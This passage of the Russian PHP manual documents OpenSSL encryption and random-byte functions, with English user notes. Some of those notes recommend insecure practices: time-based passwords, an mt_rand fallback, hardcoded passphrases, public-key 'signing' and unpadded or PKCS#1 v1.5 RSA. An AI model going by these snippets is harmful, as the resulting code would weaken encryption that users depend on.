openssl_public_decrypt() расшифровывает данные data, которые ранее были зашифрованы с помощью openssl_private_encrypt() и сохраняет результат в decrypted_data.

Вы можете использовать эту функцию, например, чтобы проверить, было ли сообщение написано владельцем закрытого ключа.

Список параметров

data

decrypted_data

public_key

public_key должен содержать соответствующий открытый ключ.

padding

padding может быть одной из констант: OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | public_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Смотрите также

  • openssl_private_encrypt() - Шифрует данные секретным ключом
  • openssl_private_decrypt() - Расшифровывает данные с помощью закрытого ключа

User Contributed Notes

Hernanibus 31-Aug-2016 02:54
Just a little note on  [P.Peyremorte]'s note in manual's openssl_private_encrypt.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:52
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:41
<?php
$fp=fopen ("/path/to/certificato.pem");
$pub_key=fread ($fp,8192);
openssl_get_publickey ($pub_key);
openssl_public_decrypt ($source,$finaltext,$pub_key);
echo "String decrypt : $finaltext";
?>


Шифрование данных открытым ключом

  • « openssl_public_decrypt
  • openssl_random_pseudo_bytes »
  • PHP Manual
  • Функции OpenSSL
  • Шифрование данных открытым ключом

openssl_public_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_encrypt — Шифрование данных открытым ключом

Описание

openssl_public_encrypt(
string $data,
string &$encrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_public_encrypt() шифрует data открытым ключом public_key и сохраняет в encrypted_data. Впоследствии расшифровать их можно функцией openssl_private_decrypt().

Эта функция используется, например, для отправки сообщений, которые сможет прочитать только владелец закрытого ключа и никто больше. Также её можно использовать для шифрования информации в базе данных.

Список параметров

data

encrypted_data

Будет содержать результат шифрования.

public_key

Открытый ключ.

padding

padding может быть одной из констант: OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | public_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Смотрите также

  • openssl_private_encrypt() - Шифрует данные секретным ключом
  • openssl_private_decrypt() - Расшифровывает данные с помощью закрытого ключа

User Contributed Notes

1520667045 at qq dot com 30-Oct-2020 08:22
<?php
$value =<<<EOL
some long long text
EOL;
$data = str_split($value, 214); // max is 214
$result = '';
foreach($data as $d){
    if(openssl_public_encrypt($d, $encrypted, $publickey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $encrypted;
    }
}
var_dump($result);
$result = base64_encode($result);
$data = str_split(base64_decode($result), 256); //every strlen($encrypted) == 256
$result = '';
foreach($data as $d){
    if(openssl_private_decrypt($d, $decrypted, $privatekey, OPENSSL_PKCS1_OAEP_PADDING)){
        $result .= $decrypted;
    }
}
var_dump($result);
?>
security at paragonie dot com 11-Dec-2015 12:00
We can't guarantee that RSA will still be trusted for security in 2016, but this is the current best practice for RSA. The rest of the world is moving on to ECDH and EdDSA (e.g. Ed25519).

That said, make sure you are using OPENSSL_PKCS1_OAEP_PADDING or else you're vulnerable to a chosen-ciphertext attack (Google: "Daniel Bleichenbacher 1998 RSA padding oracle" and you'll find plenty of material on it.)

The only fix is to use OAEP (preferably with MGF1-SHA256, but this function doesn't let you specify that detail and defaults to MGF1+SHA1).

Phpseclib offers RSAES-OAEP + MGF1-SHA256 for encryption and RSASS-PSS + MGF1-SHA256 for signatures.

http://phpseclib.sourceforge.net/rsa/examples.html#encrypt,enc1

If you don't want to hassle with these details yourself,  check out https://github.com/paragonie/EasyRSA
AoK 02-Jun-2014 03:16
Very important to recognize the maximum size $data string constraint and its relation to SSL bit size as pointed out by others.  Before I addressed the maximum size limit through blocking the data, I was receiving these types of errors from openssl_error_string():
- error:0906D06C:PEM routines:PEM_read_bio:no start line  OR
- error:0E06D06C:configuration file routines:NCONF_get_string:no value
Using a key (sha512, OPENSSL_KEYTYPE_RSA) with 2048 bits, I had a maximum message size of 245 bytes and 4096 bits yielded a max size of 502 bytes.  So if you change your key size later, in particular if you reduce the size of it, be aware it affects your maximum encryption length.
sumadhuracool at gmail dot com 23-Jun-2011 04:22
length of the data < length of the private key ..so i divided the message while taking it,put a ":::".then again encrpt it. look at the pgm to get an idea about this..

<?php
    class cry
    {
            # generate a 1024 bit rsa private key, ask for a passphrase to encrypt it and save to file
            //openssl genrsa -des3 -out /path/to/privatekey 1024

            # generate the public key for the private key and save to file
            //openssl rsa -in /path/to/privatekey -pubout -out /path/to/publickey
            //programatically using php-openssll

            //This will call while registration
            function gen_cert($userid)
            {
                $dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" =>'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@example.com');
                //Passphrase can be taken during registration
                //Here its initialized to 1234 for sample
                $privkeypass = 'root';
                $numberofdays = 365;
                //RSA encryption and 1024 bits length
                $privkey = openssl_pkey_new(array('private_key_bits' => 1024,'private_key_type' => OPENSSL_KEYTYPE_RSA));
                $csr = openssl_csr_new($dn, $privkey);
                $sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
                openssl_x509_export($sscert, $publickey);
                openssl_pkey_export($privkey, $privatekey, $privkeypass);
                openssl_csr_export($csr, $csrStr);
                //Generated keys are stored into files
                $fp=fopen("../PKI/private/$userid.key","w");
                fwrite($fp,$privatekey);
                fclose($fp);
                $fp=fopen("../PKI/public/$userid.crt","w");
                fwrite($fp,$publickey);
                fclose($fp);
            }
            //Encryption with public key
            function encrypt($source,$rc)
            {
                //path holds the certificate path present in the system
                $path="../PKI/public/server.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
            //$source='';
                //$source="sumanth ahoiadodakjaksdsa;ldadkkllksdalkalsdl;asld;ls sumanthasddddddddddddddddddddddddddddddddfsdfsffdfsdfsumanth";
                $j=0;
                $x=strlen($source)/10;
                $y=floor($x);
                for($i=0;$i<$y;$i++)
                {
                $crypttext='';

                openssl_public_encrypt(substr($source,$j,10),$crypttext,$pub_key);$j=$j+10;
                $crt.=$crypttext;
                $crt.=":::";
                }
                if((strlen($source)%10)>0)
                {
                openssl_public_encrypt(substr($source,$j),$crypttext,$pub_key);
                $crt.=$crypttext;
                }
                return($crt);

            }
            //Decryption with private key
            function decrypt($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/server.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                $tt=explode(":::",$crypttext);
                $cnt=count($tt);
                $i=0;
                while($i<$cnt)
                {
                openssl_private_decrypt($tt[$i],$str1,$res1);
                $str.=$str1;
                $i++;
                }
                return $str;
        }
            function sign($source,$rc)
            {
                $has=sha1($source);
                $source.="::";
                $source.=$has;
                $path="../PKI/public/$rc.crt";
                $fp=fopen($path,"r");
                $pub_key=fread($fp,8192);
                fclose($fp);
                openssl_get_publickey($pub_key);
                openssl_public_encrypt($source,$mese,$pub_key);
                return $mese;

            }
            function verify($crypttext,$userid)
            {
                $passphrase="root";
                $path="../PKI/private/$userid.key";
                $fpp1=fopen($path,"r");
                $priv_key=fread($fpp1,8192);
                fclose($fpp1);
                $res1= openssl_get_privatekey($priv_key,$passphrase);
                openssl_private_decrypt($crypttext,$has1,$res1);
                list($c1,$c2)=split("::",$has1);
                $has=sha1($c1);
                if($has==$c2)
                {
                    $message=$c1;
                    return $message;
                }
            }

    }
?>
ppostma1 14-Jun-2011 12:09
The confusion most have seems to be on "mixed $key"

The $key is explained in, and mostly the same as the parameter of http://www.php.net/manual/en/function.openssl-pkey-get-public.php

It can take the resource $key returned from openssl_pkey_get_public() OR find the value is text and passes the text to openssl_pkey_get_public() to get a valid resource.

To better break down rstinnett's example:
(and where the flaw is)

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext,$pub_key_string);
  /*this simply passes the string contents of pub_key_string back to be decoded*/
  return(base64_encode($crypttext));
}
?>

is more efficient:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key_string=fread($fp,8192);
  fclose($fp);
  $key_resource = openssl_get_publickey($pub_key);

  openssl_public_encrypt($source,$crypttext, $key_resource );
  /*uses the already existing key resource*/
  return(base64_encode($crypttext));
}
?>

shorter:

<?php
function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);

  openssl_public_encrypt($source,$crypttext, $pub_key );

  return(base64_encode($crypttext));
}
?>
Mark Seecof 16-Jul-2010 12:37
If you need a message key, obtain it from the openssl_random_pseudo_bytes() function.

DO NOT just hash the current time-- an attacker will guess any such key very easily (he'll just hash a bunch of likely time values and try them until he finds the right one.  The attacker can generate and test many millions of candidate hashes every minute using an ordinary PC).
public at grik dot net 25-Dec-2009 10:10
openssl_private_encrypt() has a low limit for the length of the data it can encrypt due to the nature of the algorithm.

To encrypt the larger data you can use openssl_encrypt() with a random password (like sha1(microtime(true))), and encrypt the password with openssl_public_encrypt().
This way the data can be encrypted with a public key and decrypted with the private one.
adrian 02-Sep-2005 02:53
T. Horsten explained the size limits on raw encryption. Here are two functions to encrypt/decrypt larger data when you can't use the envelope functions:

function ssl_encrypt($source,$type,$key){
//Assumes 1024 bit key and encrypts in chunks.

$maxlength=117;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_encrypt($input,$encrypted,$key);
  }else{
    $ok= openssl_public_encrypt($input,$encrypted,$key);
  }

  $output.=$encrypted;
}
return $output;
}

function ssl_decrypt($source,$type,$key){
// The raw PHP decryption functions appear to work
// on 128 Byte chunks. So this decrypts long text
// encrypted with ssl_encrypt().

$maxlength=128;
$output='';
while($source){
  $input= substr($source,0,$maxlength);
  $source=substr($source,$maxlength);
  if($type=='private'){
    $ok= openssl_private_decrypt($input,$out,$key);
  }else{
    $ok= openssl_public_decrypt($input,$out,$key);
  }

  $output.=$out;
}
return $output;

}
Thomas Horsten 16-Aug-2005 04:21
chsnyder writes that the data is limited to 936 bits in his implementation.

Actually, it has nothing to do with RSA being CPU intensive, RAM or anything of the sort.

Basically when you encrypt something using an RSA key (whether public or private), the encrypted value must be smaller than the key (due to the maths used to do the actual encryption). So if you have a 1024-bit key, in theory you could encrypt any 1023-bit value (or a 1024-bit value smaller than the key) with that key.

However, the PKCS#1 standard, which OpenSSL uses, specifies a padding scheme (so you can encrypt smaller quantities without losing security), and that padding scheme takes a minimum of 11 bytes (it will be longer if the value you're encrypting is smaller). So the highest number of bits you can encrypt with a 1024-bit key is 936 bits because of this (unless you disable the padding by adding the OPENSSL_NO_PADDING flag, in which case you can go up to 1023-1024 bits). With a 2048-bit key it's 1960 bits instead.

But as chsnyder correctly wrote, the normal application of a public key encryption algorithm is to store a key or a hash of the data you want to respectively encrypt or sign. A hash is typically 128-256 bits (the PHP sha1() function returns a 160 bit hash). And an AES key is 128 to 256 bits. So either of those will comfortably fit inside a single RSA encryption.
kenashkov at gmail dot com 30-Jun-2005 05:04
The encrypted data can be stored in MySQL without use of base64. It must be properly escaped with mysql_real_escape_string(), and then saved to BLOB column. (In fact - this function must be used every time when you insert binary data in MySQL).
chsnyder at gmail dot com 19-Feb-2005 09:18
In comment below, Jeff says the input to this function is limited to "about 50 characters". On my PHP5 build, the limit is 117 characters (936 bits, strange number).

That's because public key encryption is CPU intensive, and meant to be used on short values. The idea is to use this function to encrypt a secret key that is in turn used to encrypt data using a more efficient algorithm, such as RC4 or TripleDES. The recipient uses their private key to decrypt the secret, and can then decrypt the data.

The openssl_seal() and openssl_open() functions do this internally, and are very well documented. You should probably use them instead.
pigo at ms5 dot url dot com dot tw 11-Nov-2004 12:33
openssl_public_encrypt and openssl_private_encrypt can't encrypt large data . so I write a class . this class can encrypt large data and decrypt.

look url : http://pigo.pigo.idv.tw/opensslcrypt.phps
rstinnett at bfmhconsulting dot com 06-Oct-2004 06:37
To store the encrypted data in a MySQL database, you first have to encode the data so it can safely be written. You can use a blob type for this, but it can make SELECTs really nasty. The easiest way I have found to do this is with base64_encode and base64_decode. The following example using code from a previous example and split into encrypt and decrypt functions.

function EncryptData($source)
{
  $fp=fopen("/etc/httpd/conf/ssl.crt/server.crt","r");
  $pub_key=fread($fp,8192);
  fclose($fp);
  openssl_get_publickey($pub_key);
  /*
   * NOTE:  Here you use the $pub_key value (converted, I guess)
   */
  openssl_public_encrypt($source,$crypttext,$pub_key);
  return(base64_encode($crypttext));
}

function DecryptData($source)
{
  #print("number : $number");
  $fp=fopen("/etc/httpd/conf/ssl.key/server.key","r");
  $priv_key=fread($fp,8192);
  fclose($fp);
  // $passphrase is required if your key is encoded (suggested)
  $res = openssl_get_privatekey($priv_key,$passphrase);
  /*
   * NOTE:  Here you use the returned resource value
   */
  $decoded_source = base64_decode($source);
  openssl_private_decrypt($decoded_source,$newsource,$res);
  return($newsource);
}

Just use the return values to store the encrypted data or display the decrypted data.
Jeff 11-May-2004 12:18
I figured it out.  This function is not intended for general encryption and decryption.  For that, you want openssl_seal() and openssl_open().
Jeff 10-May-2004 02:15
It looks like there is a limit on the size of the string to be encrypted: about 50 characters.

This is due to the fact that the implementation allocates an output buffer of size EVP_PKEY_size(pkey), which is totally arbitrary and unrelated to the size of the input.  Also, it's not using a cipher envelope approach.  It's just RSAing the input string.
lonewolf at greyskydesigns dot com 16-Apr-2003 10:28
Easy way:

<?php

$publicKey = "file://path/to/public/key-crt.pem";
$plaintext = "String to encrypt";

openssl_public_encrypt($plaintext, $encrypted, $publicKey);

echo $encrypted;   //encrypted string

?>
webmaster at costarica-travelinfo dot com 13-Mar-2003 02:51
This example worked for me:

RedHat 7.2 / php 4.2.2 / Apache 1.3.7

// STEP 1: Encryption with Public Key (you will need Private Key to decrypt - see step2).

$string="Some Important Data";
$fp=fopen ("cert.pem","r");
$pub_key=fread ($fp,8192);
fclose($fp);
$PK="";
$PK=openssl_get_publickey($pub_key);
if (!$PK) {
    echo "Cannot get public key";
}
$finaltext="";
openssl_public_encrypt($string,$finaltext,$PK);
if (!empty($finaltext)) {
    openssl_free_key($PK);
    echo "Encryption OK!";
}else{
    echo "Cannot Encrypt";
}

// STEP 2: Decription (Using Private Key)

$fp=fopen ("pk.pem","r");
$priv_key2=fread ($fp,8192);
fclose($fp);
$PK2=openssl_get_privatekey($priv_key2);
$Crypted=openssl_private_decrypt($Data,$Decrypted,$PK2);
if (!$Crypted) {
    $MSG.="<p class='error'>Cannot Decrypt ($CCID).</p>";
}else{
    echo "Decrypted Data: " . $Decrypted;
}
hromi at kyberia dot sk 07-Oct-2002 10:31
function description is wrong, you have to switch crypttext and text if you want it to work
this is correct:
bool openssl_public_encrypt ( string crypted, string data, mixed key [, int padding])
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:56
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


Генерирует псевдослучайную последовательность байт

  • « openssl_public_encrypt
  • openssl_seal »
  • PHP Manual
  • Функции OpenSSL
  • Генерирует псевдослучайную последовательность байт

openssl_random_pseudo_bytes

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_random_pseudo_bytes — Генерирует псевдослучайную последовательность байт

Описание

openssl_random_pseudo_bytes(int $length, bool &$strong_result = null): string

Генерирует строку псевдослучайных байт длиной length.

Также, если задать необязательный параметр strong_result, который передаётся по ссылке, то в него запишется true или false, в зависимости от того, был ли использован криптографически сильный алгоритм.

Список параметров

length

Длина генерируемой строки. Должна быть целым положительным числом, меньшим или равным 2147483647. При использовании, PHP попытается привести этот параметр к ненулевому целому числу.

strong_result

Если задано, то в переданную переменную будет записано true или false, в зависимости от того, был ли использован криптографически сильный алгоритм.

Возвращаемые значения

Возвращает строку случайных байт.

Ошибки

Функция openssl_random_pseudo_bytes() выбрасывает исключение Exception в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | strong_result теперь допускает значение null.

Примеры

Пример #1 Пример использования openssl_random_pseudo_bytes()

<?php
for ($i = 1; $i <= 4; $i++) {
$bytes = openssl_random_pseudo_bytes($i, $cstrong);
$hex = bin2hex($bytes);

echo "Lengths: Bytes: $i and Hex: " . strlen($hex) . PHP_EOL;
var_dump($hex);
var_dump($cstrong);
echo PHP_EOL;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Lengths: Bytes: 1 and Hex: 2
string(2) "42"
bool(true)

Lengths: Bytes: 2 and Hex: 4
string(4) "dc6e"
bool(true)

Lengths: Bytes: 3 and Hex: 6
string(6) "288591"
bool(true)

Lengths: Bytes: 4 and Hex: 8
string(8) "ab86d144"
bool(true)

Смотрите также

  • random_bytes() - Получает криптографически безопасные случайные байты
  • bin2hex() - Преобразует бинарные данные в шестнадцатеричное представление
  • crypt() - Необратимое хеширование строки
  • random_int() - Получает криптографически безопасное, равномерно выбранное целое число

User Contributed Notes

mailjeffclayton [at] gmail 07-Oct-2019 05:55
Getting an integer value from a given range with an even distribution:

This function I created to solve the problem of modulo results causing overlap of ranged results (which gave an uneven distribution).

What I mean for those not as familiar with the problem:

Using bytes for base 256 (base 16) and attempting to find a value in a range of values that may be for example 10-20 (a spread of 11) will not divide evenly, so values (using mod) will overlap and give more priority to some numbers than others.

Instead of calculating based on byte values, I used the byte values as keys to sort. This is very fast, and does not require large multiplications of data space that easily go over the value of Max Int.

Additionally: To make the user-supplied arguments not care about order I am using a handy swap function I found in the wild in conjunction with my function below.

// swap function

function swap(&$a,&$b) { list($a,$b)=array($b,$a); } // swap 2 variables-- no temp variable needed!

// function to get a random value within a given range of integers

function get_secure_random_ranged_value($max=99, $min=0) // handles 1 or 2 arguments, order does not matter
{
    $sortarray = array();
    $lo = (int)$min;
    $hi = (int)$max;
    if ($lo > $hi) swap($lo,$hi);
    $data_range = abs($hi - $lo) + 1; // +1 includes both the lowest 'zero' value and highest value of range
    $bytes_per_key = 4; // Max: ffff hex = 4,294,967,296 dec (over 4 billion) -- large span of random values covers massive datasets
    $num_bytes = $data_range * $bytes_per_key;
    $byte_string = (bin2hex(openssl_random_pseudo_bytes($num_bytes))); // only one call needed to get string of bytes
    $byte_blocksize = $bytes_per_key << 1; // shift multiply by 2 since a byte is 2 characters wide

    while ($key = substr($byte_string,0,$byte_blocksize)) { // get next byte block from string
        $byte_string = substr($byte_string,$byte_blocksize); // remove selected byte block from string
        $sortarray[]=$key; // populate the array with keys temporarily as array values
    }

    $sortarray = array_flip($sortarray); // swap to use the byte values as keys
    ksort($sortarray); // randomize by keys
    return array_shift($sortarray) + $lo; // grab top value from array and add it to the lowest value in the range
}

//
// example getting values from 0 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(21); echo "-> result: ".($rnd)." <br />\n";  }

//
// example getting values from 14 to 21:
//

for ($i=1;$i<=10;$i++) { $rnd = get_secure_random_ranged_value(14,21); echo "-> result: ".($rnd)." <br />\n";  }

//
// sample results from 14-21
//

-> result: 14
-> result: 18
-> result: 20
-> result: 15
-> result: 20
-> result: 16
-> result: 21
-> result: 15
-> result: 16
-> result: 17
atesin () gmail ! com 24-Feb-2018 04:08
if unavailable use this with core functions... maybe not as secure and optimized (any help?), but practical

<?php

$bytes = '';
while (strlen($bytes) < $lenght)
  $bytes .= chr(mt_rand(0, 255));

?>
umairkhi at hotmail dot com 05-Dec-2017 07:07
After the fix of insecure number generation here:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8867

This function as well as the text here needs an update. I believe this function is safe to use in FIPS compliant apps as well as it now used RAND_bytes instead of  the insecure RAND_pseudo_bytes().
Karsey 31-Oct-2017 05:18
Why does bin2hex return twice as many characters as bytes?
powtac at gmx dot de 15-Jan-2016 02:55
[Editor's note: the bug has been fixed as of PHP 5.4.44, 5.5.28 and PHP 5.6.12]

Until PHP 5.6 openssl_random_pseudo_bytes() did NOT use a "cryptographically strong algorithm"!
See bug report https://bugs.php.net/bug.php?id=70014 and the corresponding source code at https://github.com/php/php-src/blob/php-5.6.10/ext/openssl/openssl.c#L5408
nahun@telemako 13-Sep-2013 07:25
Here's an example to show the distribution of random numbers as an image. Credit to Hayley Watson at the mt_rand page for the original comparison between rand and mt_rand.

rand is red, mt_rand is green and openssl_random_pseudo_bytes is blue.

NOTE: This is only a basic representation of the distribution of the data. Has nothing to do with the strength of the algorithms or their reliability.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(3 * $sizex,$sizey);
$r = imagecolorallocate($img,255, 0, 0);
$g = imagecolorallocate($img,0, 255, 0);
$b = imagecolorallocate($img,0, 0, 255);
imagefilledrectangle($img, 0, 0, 3 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $r);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $g);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = floor($sizex*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    imagesetpixel($img, $p + (2*$sizex), $np, $b);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
Anonymous 06-May-2012 12:17
Another way to get random 32bit ints:
function myRand($max){
    do{
        $result = floor($max*(hexdec(bin2hex(openssl_random_pseudo_bytes(4)))/0xffffffff));
    }while($result == $max);
    return $result;
}
christophe dot weis at statec dot etat dot lu 09-Jun-2011 12:09
Another replacement for rand() using OpenSSL.

Note that a solution where the result is truncated using the modulo operator ( % ) is not cryptographically secure, as the generated numbers are not equally distributed, i.e. some numbers may occur more often than others.

A better solution than using the modulo operator is to drop the result if it is too large and generate a new one.

<?php
function crypto_rand_secure($min, $max) {
        $range = $max - $min;
        if ($range == 0) return $min; // not so random...
        $log = log($range, 2);
        $bytes = (int) ($log / 8) + 1; // length in bytes
        $bits = (int) $log + 1; // length in bits
        $filter = (int) (1 << $bits) - 1; // set all lower bits to 1
        do {
            $rnd = hexdec(bin2hex(openssl_random_pseudo_bytes($bytes, $s)));
            $rnd = $rnd & $filter; // discard irrelevant bits
        } while ($rnd >= $range);
        return $min + $rnd;
}
?>
crrodriguez at opensuse dot org 19-Jan-2011 09:32
Remember to request at very least 8 bytes of entropy, ideally 32 or 64, to avoid possible theorical bruteforce attacks.
acatalept at gmail 11-Jan-2011 11:24
FYI, openssl_random_pseudo_bytes() can be incredibly slow under Windows, to the point of being unusable.  It frequently times out (>30 seconds execution time) on several Windows machines of mine.

Apparently, it's a known problem with OpenSSL (not PHP specifically).

See: http://www.google.com/search?q=openssl_random_pseudo_bytes+slow
Tyler Larson 21-Aug-2009 02:29
If you don't have this function but you do have OpenSSL installed, you can always fake it:

<?php
    function openssl_random_pseudo_bytes($length) {
        $length_n = (int) $length; // shell injection is no fun
        $handle = popen("/usr/bin/openssl rand $length_n", "r");
        $data = stream_get_contents($handle);
        pclose($handle);
        return $data;
    }
?>


Запечатать (зашифровать) данные

  • « openssl_random_pseudo_bytes
  • openssl_sign »
  • PHP Manual
  • Функции OpenSSL
  • Запечатать (зашифровать) данные

openssl_seal

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_seal — Запечатать (зашифровать) данные

Описание

openssl_seal(
string $data,
string &$sealed_data,
array &$encrypted_keys,
array $public_key,
string $cipher_algo,
string &$iv = null
): int|false

openssl_seal() запечатывает (шифрует) data, используя метод cipher_algo со сгенерированным случайно секретным ключом. Ключ будет зашифрован каждым открытым ключом, указанном в массиве public_key, и каждый зашифрованный ключ будет помещён в encrypted_keys. То есть вы можете разослать запечатанные данные сразу нескольким получателям. Каждый получатель должен получить как запечатанные данные, так и зашифрованный соответствующим открытым ключом ключ для их открытия.

Список параметров

data

Запечатываемые данные.

sealed_data

Запечатанные данные.

encrypted_keys

Массив зашифрованных ключей.

public_key

Массив экземпляров OpenSSLAsymmetricKey, содержащих открытые ключи.

cipher_algo

Метод шифрования.

Предостережение

Значение по умолчанию ('RC4') считается небезопасным. Настоятельно рекомендуется явно указывать метод безопасного шифрования.

iv

Инициализирующий вектор.

Возвращаемые значения

Возвращает длину запечатанных данных или false. В случае успешного выполнения в sealed_data будут содержаться запечатанные данные, а в encrypted_keys зашифрованные ключи.

Список изменений

Версия | Описание
8.0.0 | public_key теперь принимает массив (array) экземпляров OpenSSLAsymmetricKey; ранее принимался массив (array) ресурсов (resource) типа OpenSSL key.
8.0.0 | cipher_algo больше не является необязательным параметром.
8.0.0 | iv теперь допускает значение null.

Примеры

Пример #1 Пример использования openssl_seal()

<?php
// $data содержит данные для запечатывания

// извлекаем открытые ключи получателей и подготавливаем их
$fp = fopen("/src/openssl-0.9.6/demos/maurice/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk1 = openssl_get_publickey($cert);
// повторяем для второго получателя
$fp = fopen("/src/openssl-0.9.6/demos/sign/cert.pem", "r");
$cert = fread($fp, 8192);
fclose($fp);
$pk2 = openssl_get_publickey($cert);

// задаём метод
